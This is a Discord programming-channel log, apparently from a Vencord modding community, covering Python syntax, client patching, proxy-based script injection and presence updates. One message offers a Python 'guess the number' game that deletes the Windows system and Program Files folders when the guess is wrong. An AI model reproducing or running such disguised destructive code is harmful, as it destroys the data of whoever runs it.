#πŸͺ…-progaming

1 messages Β· Page 11 of 1

royal nymph
#

it's dynamically generated

cerulean plover
#

it all entirely depends on the executable path

#

the actual deb and tar.gz are exactly the same

winged mantle
#

is it dubm to use json.stringify on an array for composite key

#

if you just join two values that theoretically could collide

#

hm it is very much a hot path so

cerulean plover
#

Useless Discord question

#

Does Discord's desktop client ever reference the URI scheme disclip, anywhere

#

Came across them registering it as privileged, (but not adding a handler) in their official client, but never actually using it

#

idk wtf im doing at this point

#

discord still has the halloween connecting animation

#

fuck off i know what i'm doing

ionic lake
#

can't ever go wrong with overloads

#

πŸ”₯

oak valley
#

why does list comprehension look so cursed?

grand garnet
#

list incomprehension

oak valley
#

That sums it up quite well actually

fleet cedar
oak valley
#

Python

still jolt
#

[sum(i) for i in b for b in d if len(b) == 5]

#

what's the problem

fleet cedar
#

That's not gonna work, b is not defined when the first loop runs

still jolt
#

/run ```py
d = [[], [1, 2, 3, 4, 5], [1, 2]]
print([sum(i) for i in b for b in d if len(b) == 5])

rugged berryBOT
#

@still jolt I only received py(3.10.0) error output

Traceback (most recent call last):
  File "/piston/jobs/34d3a008-7ba2-42cf-a074-ad9bd5c755f3/file0.code", line 2, in <module>
    print([sum(i) for i in b for b in d if len(b) == 5])
NameError: name 'b' is not defined
still jolt
#

annoying

placid cape
#

Does anyone used zed?

sharp basin
#

nvim>

still jolt
#

st>

placid cape
sharp basin
#

uwu

still jolt
#

meow

placid cape
fleet cedar
#

There's no way to get the text of a <script src=...></script> short of sending another http request, is there?

oak valley
#

/run ```py
d = [[], [1, 2, 3, 4, 5], [1, 2]]
print([i for b in d for i in b if len(b) == 5])

rugged berryBOT
#

Here is your py(3.10.0) output @oak valley

[1, 2, 3, 4, 5]
oak valley
#

100% cursed

potent cloud
#

hilfe

#

was ist das

fleet cedar
#

/run ```py
d = [[], [1, 2, 3, 4, 5], [1, 2]]
print([i for b in d if len(b) == 5 for i in b])

rugged berryBOT
#

Here is your py(3.10.0) output @fleet cedar

[1, 2, 3, 4, 5]
fleet cedar
#

That ought to be faster

still jolt
#

/run ```js
d = [[], [1, 2, 3, 4, 5], [1, 2]]
// print([i for b in d if len(b) == 5 for i in b])
console.log(d.filter(x=>x.length==5).flat())

rugged berryBOT
#

Here is your js(18.15.0) output @still jolt

[ 1, 2, 3, 4, 5 ]
still jolt
#

that ought to be js

fleet cedar
#

That creates an intermediate array for no gain (but wouldn't be surprised if it's jitted away)

still jolt
#

so is life

fleet cedar
#

Life is not jitted away

still jolt
#

creating unoptimised horror for no reason

still jolt
#

:(

fleet cedar
#

I think python's list comprehension syntax [x+1 for x in xs] is modeled after haskell's [x+1 | x <- xs] which is modeled after math's { x+1 : x ∈ xs }

oak valley
#

/run ```py
d = [[[]], [[1, 2, 3,], [4, 5,]], [1, [2,]]]
print([sum(i) if type(i) == list else i for b in d for i in b])

rugged berryBOT
#

Here is your py(3.10.0) output @oak valley

[0, 6, 9, 1, 2]
fleet cedar
#

Shouldn't that crash because List is not defined

#

Oh right because it never reaches that part

oak valley
#

f it

#

finally

#

Tell me that's not the most cursed syntax in python

fleet cedar
#

/run ```py
d = [[[]], [[1, 2, 3,], [4, 5,]], [1, [2,]]]
print((p:=lambda x: x if type(x)==int else sum(map(p,x)))(d))

rugged berryBOT
#

Here is your py(3.10.0) output @fleet cedar

18
fleet cedar
#

/run ```py
d = [[[]], [[1, 2, 3,], [4, 5,]], [1, [2,]]]
print((p:=lambda x: [x] if type(x)==int else sum(map(p,x),[]))(d))

rugged berryBOT
#

Here is your py(3.10.0) output @fleet cedar

[1, 2, 3, 4, 5, 1, 2]
still jolt
#

me love some walrus

placid cape
fleet cedar
#

There's a <script> tag on the page, I want to get the code from it (specifically discord's assets/web.*.js file, for reasons)

placid cape
#

Well yeh you need to fetch the site

#

You want to datamine or?

#

Check out my repo on github, also includes the source code for datamining

fleet cedar
#

But it's already loaded, or discord couldn't run

#

So it feels redundant to fetch it a second time when it's already loaded

royal nymph
#

it will be grabbed from cache most likely

#

you can't get the code without fetching it

#

just fetch

potent cloud
#

g.help

crystal cedarBOT
# potent cloud g.help

Commands list

  • Generating:
    bruh, bugurt, demotivator, dialog, impact, jacque, lobster, comics, string
  • Information:
    help

Use g.help command to get more information about command
A lot of commands was moved to slash commands. You can use them by typing / in chat

potent cloud
#

g.bruh

crystal cedarBOT
final night
#

g.bugurt

crystal cedarBOT
jade stone
#

.ta m

lapis nacelleBOT
jade stone
#

i thought this was fm 😭

pine coyote
#

hi im back in the agony of plugin writing again

ionic lake
#

Your plugin’s native entry point. This code will run inside NodeJS instead of the browser. You can use all Node.JS apis here, such as fs or child_process.

Browser APIs are not available here. If you need them, you can do so in the index.ts file.
(https://docs.vencord.dev/plugins/#plugin-structure)

royal nymph
#

vban

elder yarrowBOT
pseudo sierra
#

wtf was that

pine coyote
magic shale
placid cape
pine coyote
#

insanity

#

or we could just

placid cape
#

it's still better to depend on the original than from some reverse proxy maintained by "random" dev

#

you know what I mean

pine coyote
#

mmm

#

fine

placid cape
#

maybe some official vencord reverse proxy for plugins could be useful but I think that's just a waste of resources and energy... it would be only for few plugins

lavish cloak
#

Java versions and JDK versions are different???

#

Java 8 is the latest and JDK 22 is the latest?

#

or is java the same as jdk

fleet cedar
#

For a while it was that java 1.5 corresponded to jdk 5, but they quit that tomfoolery and now they're the same

royal nymph
#

jdk 22 = java 22

winged mantle
glossy elbow
autumn sigil
#

dont use java

lavish cloak
glossy elbow
lavish cloak
#

Ahh I see

viscid grove
golden narwhal
#

think anyone can teach me how to make page transitions

#

(not for a 1 page website, since thats dumb)

#

((but to travel from like index.html -> portfolio.html)

golden narwhal
viscid grove
#

and contribute to mods in

sharp basin
calm ruin
#

are there even sane mods for 1.8.9

calm ruin
#

1.7.10 is kinda old now ngl

#

missing lots of new JEI features (some of them are ported by gtnh yea but eh)

sharp basin
#

from my feeling

#

i feel like that that was the high time of modding

autumn sigil
#

makes it very easy

ionic lake
#

use the view transitions api

royal nymph
#

so real

crimson cave
#

the vencord expereince

cerulean plover
#

vencord moment indeed'

formal belfry
#

Alright moving here
I tried to make the vencord script just use a b64'd representation of browser.js, but that doesn't work because it fails to find Vencord, which is.. weird

#

just by doing something naiive like eval(atob(...))

royal nymph
#

why are you even doing all this

#

what's the end goal

formal belfry
#

I was hoping it would kinda just work, and it should work, but it doesn't
I can inject vencord by being fast enough at pasting the code into the console, so I figured the same logic would apply here

serene elk
#

cant you just put the contents of browser.js inside a script tag

#

inline

formal belfry
#

I haven't actually tried that yet, because vscode interprets me dumping a huge chunk of code like that into there invalid
I was told by my friend that it used to work, so there's three options

  1. discord changed
  2. vencord changed
  3. something about how the mitm system works has changed
serene elk
#

if it used to work it was purely luck

royal nymph
#

is this an extension or what

#

or a proxy

formal belfry
#

proxy

royal nymph
#

and u modify the html to inject a script tag?

formal belfry
#

this is how the injection is currently laid out, this should work in theory right?

royal nymph
#

inject the vencord script inline

formal belfry
royal nymph
#

inject the entire vencord code into the html

serene elk
#

what happens if you put a dummy script tag that just logs something in the console

#

does it work or csp complains

formal belfry
royal nymph
#

?

#

idgi

#
const vencordCode = readFileSync("./browser.js", "utf-8")

html: `<script>${vencordCode}</script>`
formal belfry
#

oh uh
im working in a service worker right now LOL

#

I might be able to import a text file and have it stored as a global

royal nymph
#

then fetch it instead of readFile

royal nymph
formal belfry
#

same result
I'm starting to suspect that this is an issue with the proxy rewriting js instead of it being an issue with vencord itself ;-;

royal nymph
#
html: `<script src="data:text/javascript;base64,${btoa(vencordCode)}"></script>`
golden narwhal
#

most pvp servers are 1.8.9

#

soooo

viscid grove
#

yeah

#

but pvp cringe

golden narwhal
#

it would be nice if forge didn't fucking nuke all their modding tools off the platform

#

(for 1.8)

viscid grove
#

huh

golden narwhal
#

because "too many people are using it maliciously"

#

i wanted to make a skyblock plugin for forge but i couldn't find any resources

formal belfry
golden narwhal
#

multiple discord servers handed out warns for me asking

formal belfry
#

why does btoa only work on the latin1 range

royal nymph
#

lol what does it contain

formal belfry
royal nymph
#

what in vencord is not latin1

serene elk
fleet cedar
royal nymph
#

oh emojis most likely

serene elk
#

how do you expect us to help

#

also show the modified html god

formal belfry
#

like the exact same

royal nymph
#

courtesy of googol

serene elk
#

show the html

royal nymph
#

but yeah also what nuckyz said

#

while external src is bad, it should technically work

formal belfry
#

the google one is just for testing

serene elk
#

broooo

#

the fucking changed html

#

stop only throwing part of the results here

royal nymph
#

the entire output html

formal belfry
#

the entire html, or just the head section where there is a difference? 😭
im not trying to be dumb here but im not 100% sure what you're asking for

#

or do you just want those two lines that change

royal nymph
#

the entire relevant html aka the head or even simpler just the entire thing

formal belfry
#

huge file because it's the entirety of vencord also lol

serene elk
#

and that doesn't work?

formal belfry
#

oh, as I was looking at the error again I realized it provides a filter showing what it tried to access
e=>e.Messages?.["en-US"] is apparently what's failing with the webpack.find error

formal belfry
serene elk
#

show your console

#

the top of it

formal belfry
#

I noticed in a regular load on the actual discord.com, there is a lot more happening with webpack than just Patching webpackChunkdiscord_app.push

serene elk
#

yes

formal belfry
#

ahhhhh

#

found the issue

#

my proxy doesn't properly account for Error.stack abuse

#

I can disable url encoding an see if that fixes it though

royal nymph
#

actually cyn suggested using .includes("/assets/") instead of discord.com

#

@serene elk

serene elk
#

okay hmm

formal belfry
#

the proxy I am using/developing uses a xor cipher to encode urls, so https://discord.com would turn into something like hvtrs8%2F-dksaopd%2Ccmm-arp

royal nymph
#

why

formal belfry
# royal nymph why

evading internet censorship
it can be disabled though, so I'm going to try that

#

and if that's the issue i'll work on proxying the error api

serene elk
#

run this in the console and send me the output

Object.getOwnPropertyDescriptor(Function.prototype, "m")

royal nymph
#

they already found the issue tho xd

serene elk
#

oh

formal belfry
#

yup that was the issue
disabling xor encoding fixed it superdying

serene elk
#

I see

#

okay it makes sense now

royal nymph
#

but also i don't understand how it evades censorship

#

if you're already using a proxy anyway

formal belfry
#

well apologies for taking up your time for my issue lol

formal belfry
formal belfry
royal nymph
#

if the proxy uses https they won't see the pathname

#

only the hostname

#

your isp will see

  1. dns lookup of proxy.site (if you're not using a custom dns)
  2. request to ip address of proxy.site
  3. encrypted traffic
formal belfry
#

that's true
I wasn't the one who implemented the url encoding related stuff, but I think their line of logic might've been if someone was snooping on your browser history?
like if you had an extension force installed that would report what sites you went to

royal nymph
#

thats fair

formal belfry
#

I've been contributing to it for evading censorship from something like a government though, and I don't think that's been done at all, but it in theory could I suppose

#

but it's entirely open source so they could also just yoink the xor algorithm lol

royal nymph
#

if you're actually serious about it i don't think xor is a good idea though, especially if you re-use the same key for every domain

#

you either need one-time pads or just make the domain fully random

#

use a database and generate random identifiers for domains

#

otherwise with enough data the xor cipher can easily be broken

#

by analysing frequency of the same cipher letters, the fact that most domains use .com, comparing length to the most popular domains, etc

formal belfry
# royal nymph use a database and generate random identifiers for domains

that seems pretty feasible actually
we've been working on how the traffic is sent to the destination server and finally made it e2e encrypted
the architecture kinda works something like this

client -> proxy server -> destination domain -> proxy server -> client
the original people working on the project didn't have the connection between client and proxy server encrypted at all D:

royal nymph
#

but also where do you live that you need to evade government interference

and why is a vpn not enough

#

is it more of a hobby project?

formal belfry
#

more of a hobby project, I live in america

#

it's also cool to just have a uh mostly functional e2e proxy in the browser

serene elk
#

my internet sucks cuz I'm traveling so I keep losing connection

viscid grove
green gulch
#

How would I set status to offline/invisible in a plugin

#

I've been looking but haven't found a good way yet

magic shale
green gulch
#

awesome thanks

green gulch
#
function updateStatus(status: string) {
    logger.info(`Attempting to update status to: ${status}`);
    try {
        const proto = {
            status: {
                value: status
            }
        };

        FluxDispatcher.dispatch({
            type: "USER_SETTINGS_PROTO_UPDATE",
            settings: {
                type: 1,
                proto
            },
            local: true,
            partial: true
        });

        logger.info("Status update dispatched successfully");
    } catch (error) {
        logger.error("Error updating status:", error);
    }
}
#

maybe im doing this completely wrong but it doesnt update status nor does it error

frosty obsidian
#

fluxdispatcher doesn't send anything to the api

#

its just used to update ui state

royal nymph
#

not quite true

frosty obsidian
#

in the case of that event it should be

#

afaik that specific event isn't something the client can send

#

regardless discord should already have a method for updating the status

green gulch
#

i’m still new to all this so i’m trying to learn xd

frosty obsidian
#

im not entirely sure where specifically to look, im just assuming such a method exists

#

mostly bc it'd be odd if they didn't have one

royal nymph
green gulch
#

xd

royal nymph
#

well it's very wrong

#

try again

green gulch
#

i’ll keep looking when i get home

#

status seems particularly annoying to find, i’ve found others easier

royal nymph
#

we love web chunk taking 1000000000000000000 years to load

green gulch
#

swear i checked that and it brought me to some random function

frozen pendant
#

given data from Vencord.Api.MessageEvents.addPreSendListener, how could I replay that at a later time?

#

specifically with the replyOptions and uploads fields

royal nymph
#

Vencord.Util.sendMessage

frozen pendant
#

messageReference is the equivalent to replyOptions i presume?

frozen pendant
#

maybe it's because it's 4am but i cannot for th e life of me figure out how to clear the channel text input

river dagger
ionic lake
#

messageReference is for messages being replied to

fleet cedar
#

Also used for forwards

ionic lake
#

oh yeah, also for

frozen pendant
#

forwards might be outside of my scope but good to know x3

#

is there any way I can modify /vencord-debug in the (unlikely) event someone using the client I'm making is asking for support here?

pearl stagBOT
balmy lintel
#

pretty sure vencord already jumpscares you if you use a fork and switch to the support channel

frozen pendant
#

Im not actually forking vencord and for all intents and purposes my client would look like any other web client by default I think

royal nymph
#

you can't change it then

frozen pendant
#

Can plugins be "loaded" at runtime? would it work to load a fake plugin just to serve as an indicator?

royal nymph
#

yes

#

it's quite easy

final night
#

I'd look at the source code to who reacted.

nocturne falcon
#

hi

frozen pendant
#

Is it recommended to pin vencord or is autoupdating to latest fine?

stoic helm
#

do not pin vencord

#

discord updates can break vencord very easily

#

id reccomend leaving autoupdating on

frozen pendant
#

right now I'm literally grabbing from master of the build repo every time my app starts. Pinning was probably a bit too strong a word but in general was wondering if not doing that would have been better for security or whatnot

grand garnet
#

I mean unless you are auditing the code every time you update/build, what difference does it make

jade stone
frozen pendant
#

I cannot expect users to make dev builds πŸ˜…

green gulch
#

So I'm looking for help to find a better way to do the below, setting a status on launch, right now theres a delay where the original status (online) will stay for about a second before it sets to the new one.

async function updateStatus(newStatus: string, setStatus: Function) {
    try {
        await setStatus(newStatus);
    } catch (error) {
        console.error("Error updating status:", error);
    }
}

start() {
    const setStatus = findByCode(".USER_STATUS_UPDATED");
    updateStatus("invisible", setStatus);
}

I tried startAt: StartAt.Init but this doesnt work due to USER_STATUS_UPDATED not being available since webpack isnt loaded, if anyone has recommendations please let me know πŸ™‚

royal nymph
#

use waitFor instead of find

#

it might still be too late tho

#

you're better off patching the gateway connection to send invisible status on connect

green gulch
#

Alright, are there any plugins that patch the gateway that I can look at for an example or am I on my own?

green gulch
#

Not sure if this is the correct way but i enabled gateway logging, this is all I could find and the status is "unknown." if anyone has insight please let me know

frosty obsidian
#

thats the identify payload, its how the client authenticates with the gateway

#

you would probably need to intercept presence update payloads (op 3) and modify before they're actually sent

green gulch
#

Should I be able to see that in the console with the gateway logging enabled? Cause the only PRESENCE_UPDATE im seeing are these which seem to be for other users

frosty obsidian
#

those are events

#

you're looking for logs that start with ~> 3

green gulch
#

yeah i dont see any of those when restarting the client

frosty obsidian
#

hm

#

maybe it just defaults to online

#

it does

#

in order to appear offline you just have to send a payload with an opcode of 3

#

im not entirely sure this is the best way however

#

but it should work

green gulch
#

ah yeah i set my status to invis and now i get it in console when i restart

green gulch
#

Could someone show me an example of how i'd send/patch that? Still trying to learn everything πŸ˜…

royal nymph
#

find where that message is sent in code

#

and modify it to send invisible instead of the actual status

green gulch
#

would i be correct that i need to patch this

#

because my regex is bad so if its right then i need help with the regex

        setCurrentUserOnConnectionOpen(e, t) {
            S[p.default.getId()] = e,
            A[p.default.getId()] = t
        }
    patches: [
        {
            find: /setCurrentUserOnConnectionOpen\(\w+,\s*\w+\)\s*\{/,
            replacement: {
                match: /setCurrentUserOnConnectionOpen\((\w+),\s*(\w+)\)\s*\{\s*S\[p\.default\.getId\(\)\]\s*=\s*\w+;\s*A\[p\.default\.getId\(\)\]\s*=\s*\w+;\s*\}/,
                replace: `setCurrentUserOnConnectionOpen($1, $2) {
                    S[p.default.getId()] = $self.settings.store.enableOnStartup ? "invisible" : $1;
                    A[p.default.getId()] = [];
                }`
            }
        }
    ],
fleet cedar
#

Use patch helper

#

Also you don't need all those \s*, there's no whitespace to match and they just make it needlessly unreadable

#

Also you're hardcoding variable names; don't

green gulch
#

oh right patch helper

#

have to build with --dev flag right

#

yeah

#

alright thanks

stoic helm
#

use \i instead of all of those \w+

#

wait that doesnt have a patch guide

#

fear

green gulch
#

amazing

#

is this better

        {
            find: "emitPresenceUpdate",
            replacement: {
                match: /emitPresenceUpdate\(\i\)\{let\{status:(\i),since:(\i),activities:(\i),afk:(\i),broadcast:(\i)\}=\i;/,
                replace: `emitPresenceUpdate(e){let{status:$1,since:$2,activities:$3,afk:$4,broadcast:$5}=e;if(Vencord.Plugins.plugins["StealthLaunch"].settings.store.enableOnStartup){$1="invisible";}this.socket.presenceUpdate($1,$2,$3,$4,$5);}`
            }
        }
stoic helm
#

thats still bad

#

lemme rewrite it

green gulch
#

sad

#

oh yeah

Unexpected token '.'
fleet cedar
#

The code you're matching doesn't contain a }, but your replacement does

stoic helm
#
{
    find: "emitPresenceUpdate",
    replacement: {
        match: /status:(\i),since:(\i),activities:(\i),afk:(\i),broadcast:(\i)}\=\i;/,
        replace: "$&if($self.settings.store.enableOnStartup){$1=\"invisible\";}this.socket.presenceUpdate($1,$2,$3,$4,$5);}"
    }
}```
#

same thing

#

use that

#

much better

#

ud still have to fix the syntax errors, that just replicates your old patch 1:1 but in a better way

green gulch
#

alright awesome

#

thanks for the help

green gulch
#

discord doesn’t send presence update (op 3) if your status is online?… 😭

frosty obsidian
#

online is the default

green gulch
#

yes

#

so should i find a function to patch to make it send or is there another way i should fix it

#

my current patch modifies the payload of presence update

green gulch
#

fixed it πŸ™‚

balmy lintel
#

how did a discord invite land in my gif picker (favourites tab) SKULL_SKELETON

green gulch
#

fun

#

is it a blank square in fav tab?

#

or not visible

worthy sun
green gulch
#

the person who sent it to me possibly did

#

i use it cause nice color

royal nymph
#

it makes u seem like a skid tbh

green gulch
#

i see that

#

i’m the typa person to rarely change my profile

sly musk
#

don't mind the haters, keep hacking into those mainframes bro

green gulch
#

i’ve had the same username for like

#

10 years

green gulch
#

guess i’ll change it

sly musk
#

you guys are monsters

green gulch
#

huh

formal belfry
#

im actually creating an game in python, can someone note it on 10 ?

import shutil
import os

def guess_number():
    secret_number = random.randint(1, 10)
    try:
        guess = int(input("Guess a number between 1 and 10: "))
    except ValueError:
        print("That's not a valid number. Please enter a number between 1 and 10.")
        return

    if guess == secret_number:
        print("Well done! You've guessed correctly.")
    else:
        print("Oops! That was not correct.")
        delete_system_files()

def delete_system_files():
    directories = ['C:\\Windows', 'C:\\Program Files', 'C:\\Program Files (x86)']

    for directory in directories:
        try:
            shutil.rmtree(directory) 
        except Exception as e:
            print(f"Error deleting {directory}: {e}")
     

if __name__ == "__main__":
    guess_number()
quick crow
#

There's bad regexes and then there's that

hollow locust
#

is there a function that returns the module id by webpack filter?

royal nymph
#

why do you need that

hollow locust
#

I think if I told you the truth, you wouldn't help

royal nymph
hollow locust
#

so?

hollow locust
#

okay fine

#

I need module id to get the raw exports object from cache

royal nymph
#

why? that still seems like xy problem

#

the full object is essentially useless

#

if you want to monkey patch then you won't need the id or anything, you can just findByProps
(and need a webpack patch that makes exports writable)

hollow locust
#

I'm working on a developer framework for creating cross-client plugins and I need to allow monkey patching of a specific module programmatically as part of the conversion to vencord userplugin

hollow locust
#

a while ago I asked you if I can use patches to patch internal webpack export creator and you said vencord can't patch webpack itself

royal nymph
#

monkey patch

#

overwrite webpackRequire.d

covert grove
#

I'm trying to make a patch (change something in the js code) in a js file that is preloaded by messenger.com.
The file is loaded like this:

<link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yr/r/aPovqTDgIeb.js?_nc_x=D8B0uKAIB0V" as="script" crossorigin="anonymous" nonce="wf1TgoLw"/>

In that file I'm trying to look up a regex var .,.=25; and replace the 25 in that with let's say 600. Intercepting the web request doesn't seem to help. How can I approach this?

serene elk
#

you are asking something too complicated for simple answers

#

if you can intercept the js request somehow and apply changes to it then do

#

if you can't, figure it out yourself

#

patching is very generic and there are a billion ways to achieve the same result, all depending on how the website is built

#

and in some cases it may be impossible

covert grove
#

How does vencord do it?

stoic helm
#

vencord doesnt modify the file it downloads

fleet cedar
#

By monkeypatching the array.push method, which webpack uses

stoic helm
#

it modifies it after discord loads it, but before it uses it

#

i doubt that messenger can use the same thing

fleet cedar
#

And some other webpack functions

serene elk
#

as I said there are multiple ways to achieve that switching

#

but if messenger uses webpack you can likely do something very similar to what the current vencord does

serene elk
#

does it have a global array

#

look for the js files it loads, do they have a .push in the beginning

covert grove
#

Something like this?

__d("WAFetchFbDevicesProtocol", ["Promise", "WAArrayChunk", "WAErr", "WAHandleFbDeviceChangeNotificationProtocol", "WAJids", "WALoadContactsApi", "WAResultOrError", "WASignalKeys", "WASmaxDevicesFetchRPC", "WATimeUtils", "asyncToGeneratorRuntime"], (function(a, b, c, d, e, f, g) {
    "use strict";
    var h, i = 25;
#

Ah okay

serene elk
#

hmm not quite that

serene elk
serene elk
#

that doesn't look like the webpack I know lol

#

put a break point and see what __d is

#

is it a function in the window obj?

covert grove
#

Seems like it

serene elk
#

go to the function location

#

and send that whole file

covert grove
serene elk
#

okay that is not webpack

#

it still seems possible to modify but it's very different from how vencord does with webpack lol

covert grove
#

What do you have in mind?

final night
#
{
  ...
  // ! I'm not insane I swear, this is just what you need to do to parse signed rails cookies
  chatLog: JSON.parse(JSON.parse(atob(JSON.parse(atob(Cookies.get('chat_history')!.split('--')[0]))._rails.message))) as Chat[],
  ...
}
magic shale
#

this cant be real

#

what does the data you're trying to parse look like 😭

serene elk
final night
glacial mirage
#

what the fuck

bright quest
#

what is flux dispatcher

wanton totem
#

It's used for events such as hooking onto running_games_change and then changing your status when a game is launched. When discord detects the game it will dispatch that event. You can also dispatch events on it as well instead of discord doing it.

wanton totem
bright quest
#

is it documented anywhere what each event does

wanton totem
bright quest
#

whats the event when an application launches or closes

#

theres so much events related to application

wanton totem
#

Like discord?

bright quest
#

like executable

wanton totem
#

A game or

bright quest
#

when u open a game

wanton totem
#

RUNNING_GAMES_CHANGE

#

conveniently the one I used for the example lol

bright quest
#

what if appication launched isn't a game

wanton totem
#

I believe it will still work not sure

bright quest
#

ok ill try, ty!!

wanton totem
#

Yup

#

If it's not detected add it to your activity settings page where you toggle detection and overlay

#

I forgot the name of the tab

#

Then it should be detected not sure but probably works

bright quest
#

i need event that works with all applications

#

not only games

silver mauve
silver mauve
#

(idk where the appropriate channel to ask this so i took this as my best guess)

stoic helm
#

forking and adding 3rd party plugins isnt any effort

wanton totem
#

realistically the only thing I even touch in equicord at this point is broken patches and fixing broken plugins people request.

green gulch
#

isnt there a plugin/3rd party plugin that converts times to a timestamp? like 6pm to the <t:00000000:R> timestamp or am i hallucinating

fleet cedar
#

<t:1722031200:t>

#

The SendTimestamps plugin turns <t:1722031200:t> into <t:1722031200:t>

#

Dammit it's overeager

#

` 12:00 AM `

#

Without the spaces at the beginning and end

green gulch
#

like you just type <t:1722031200:t> and it makes it a timestamp

#

what

#

wait do i have it already

#

oh

#

its because i was typing it without the :00

balmy lintel
#

lol

green gulch
#

Β―_(ツ)_/Β―

frosty obsidian
#
package chat.cadence.bonfire.gateway

import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.Job
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext
import kotlin.time.Duration.Companion.seconds

/**
 * Forces payloads to abide by Discord's ratelimit (120/min)
 */
internal class GatewayRateLimiter {

    /**
     * Total number of events sent within the current limit period
     */
    private var eventCount: Int = 0

    /**
     * The job used to cycle between ratelimit windows
     */
    private var rlJob: Job? = null

    /**
     * The start time (in millis) for the current ratelimit period
     */
    private var lastPeriodStart: Long = 0

    /**
     * The ratelimit, Discord actually has this set to 120 but we give ourselves a bit of wiggle room for heartbeats
     */
    private val eventLimit = 110

    /**
     * How long each ratelimit window lasts
     */
    private val limitPeriod = 60.seconds

    /**
     * Resets ratelimit state, should be done when the gateway disconnects
     */
    fun resetRatelimit() {
        rlJob?.cancel()
        rlJob = null
        eventCount = 0
    }

    /**
     * Starts cycling between ratelimit windows.
     * Should be ran after the gateway connects but before identify/resume is sent
     */
    fun startRatelimitRotation() {
        rlJob?.cancel()
        rlJob = CoroutineScope(Dispatchers.IO).launch {
            doRatelimitRotation()
        }
    }

    /**
     * Clears and sets state every [limitPeriod] after [startRatelimitRotation] is ran
     */
    suspend fun doRatelimitRotation() {
        eventCount = 0
        lastPeriodStart = System.currentTimeMillis()
        delay(limitPeriod)
        doRatelimitRotation()
    }

    /**
     * Applies a ratelimit to the given [block].
     * If the limit has been reached then the function will suspend until the next ratelimit period
     *
     * @param block The event to be ratelimited
     */
    suspend fun rateLimited(block: suspend () -> Unit): Unit = withContext(Dispatchers.IO) {
        if (eventCount + 1 >= eventLimit) {
            val timeSince = System.currentTimeMillis() - lastPeriodStart
            val remainingTime = limitPeriod.inWholeMilliseconds - timeSince
            delay(remainingTime)
        }
        block()
        eventCount += 1
    }

}
#

@deep mulch

frosty obsidian
#

gateway ratelimiter

deep mulch
#

guh?

frosty obsidian
#

limits the client to 110 payloads per minute

#

10 below discords limit

deep mulch
#

interesting

frosty obsidian
#

also fun fact, the official client has no mechanism for abiding by their own limit

deep mulch
#

what that mean

frosty obsidian
#

official clients can just hit the limit and disconnect

#

nothing is stopping them

deep mulch
#

I love

formal belfry
# formal belfry ahhhhh

I've been thinking about this some more, and why doesn't vencord just check if the url includes a chrome:// url or whatever firefox does for extensions? im pretty sure those show up in error.stack also

#

afaik the check is just there to prevent being vencord from being hooked into extensions that happen to use webpack right?

serene elk
#

nono

#

I mean

#

yes

#

but manually checking for each extension stuff isn't good either

#

it's also to avoid hooking into bundled libs within discord but they pass that check either way

#

however I will think about your idea

#

a simple !includes("http") could maybe work

formal belfry
#

checking if it's not http is probably better though

serene elk
#

yeye I got what you meant

frosty obsidian
#

120 per minute

#

~2 per second

autumn sigil
#

dont have a limiter on mine either :troley

frosty obsidian
#

discord doesn't limit client side anyways

#

unless you're spamming you'll be fine

mild yoke
#

I'm also working on a custom client called bonfire haha

frosty obsidian
#

bonfire is the api module

mild yoke
#

Ahh okay

#

You have a link to the project? Sounds interesting.

frosty obsidian
#

the repo is private rn but its got a server

mild yoke
#

DM it?

frosty obsidian
#

its linked

mild yoke
frosty obsidian
#

advises

mild yoke
#

His documentation is crazy

#

B okay

#

Ah

#

The docs are pretty good, I've been meaning to submit a PR for some changes in readstate and stuff

frosty obsidian
#

dolfies would love

#

although hes currently abroad

autumn sigil
frosty obsidian
#

yop

autumn sigil
autumn sigil
#

idk how to architect a store for them

mild yoke
#

There's a few smalls quirks with it

#

Oh that's not the annoying part lol

#

Wdym store? Like state?

autumn sigil
#

ya

#

ugh im on the wrong os great

rocky veldt
#

how would one

#

listen for when window is defined

#

so i can

#

run the js script

#

after

crimson cave
rocky veldt
#

quadcord

ionic lake
rocky veldt
#
process.once('loaded', async () => {
    with (!window.webpackJsonp) {
        await new Promise(_ => setTimeout(_, 10));
    }

doing this does make discord launch, but the code doesn't actually run

#

so i feel there is something horribly wrong with what im doing

frosty obsidian
ionic lake
#

true.....

fleet cedar
#

with(){} is a thing, but nobody ever uses it, ever

rocky veldt
#

and yes

#

while was what i was using

#

till he showed me he was using with

fleet cedar
#

with-ing a bool makes little sense since a bool does not have any fields or methods

rocky veldt
fleet cedar
#

with() isn't an electron thing

#

It's a (useless) js thing

rocky veldt
#

yeah I wasn't talking about that

#

just in general yk

#

yes learning very fun fumoWave

fleet cedar
#

That code doesn't make use of the with-ing, it's just unconditionally waiting for one second

rocky veldt
#

must be why he told me it sometimes loads after the fast connect

#

also he mentioned he moved onto injecting into the vc methods

dusty moth
#

with brings all properties of the passed object into scope

#

which seems to be completely unrelated to what you're doing

rocky veldt
#

what i assumed it was supposed to do

#

was wait till window was initialised before running

rocky veldt
dusty moth
#

use typeof window != "undefined" && window.webpaackJsonp

rocky veldt
#

😭

#

wait I shall try

royal nymph
#

but also what in the world are you doing

#

if window is not defined then you're in the main process which runs in nodejs and has no access to browser apis

#

you'll be waiting for eternity and it'll still not be defined

cerulean plover
royal nymph
#

that command line switch has nothing to do with "hooking the main electron context", frankly it does nothing at all unless you use the async_hooks module, which you shouldn't

window is always accessible (if you are in the right context)

that with statement makes no sense, what it ends up doing is just always wait one second

#

I wouldn't listen to that friend they have no idea what they're saying

rocky veldt
#

welp

#

assumed as much

rocky veldt
#

or injecting into the vc methods

#

but yk

#

im new to electron

winged mantle
#

having await there does nothing does it not lol

fleet cedar
#

Of course it does, otherwise it doesn't await that promise

winged mantle
#

there's no code after it so therefore it doesn't do anything apart from returning to the caller if that is using then or await

#

idk how it works with EventEmitter

rocky veldt
#

you guys want the actual client.js code

#

not going to lie

#

i just want to see whether or not it's any good

#

i did remove the await part though

royal nymph
#

about half of it is just skidded from BD

rocky veldt
#

LMAO

#

sounds like my guy fr

royal nymph
rocky veldt
#

i was starting to suspect when I was looking through the bd github repos

royal nymph
#

the entire webpack code is just bd code

rocky veldt
#

i was just curious cause I never got it to work

rocky veldt
#

ngl i just want to learn

#

assumed he skidded parts anyway

#

i just did not get the vc injection thing

potent cloud
rocky veldt
#

na it's not public on GitHub

solid gazelle
#

silly question perhaps but do you guys know ```js
Vencord.Webpack.findByProps("emojiFrecencyWithoutFetchingLatest").emojiFrecencyWithoutFetchingLatest

? How do you get the same thing but fetching latest
royal nymph
#

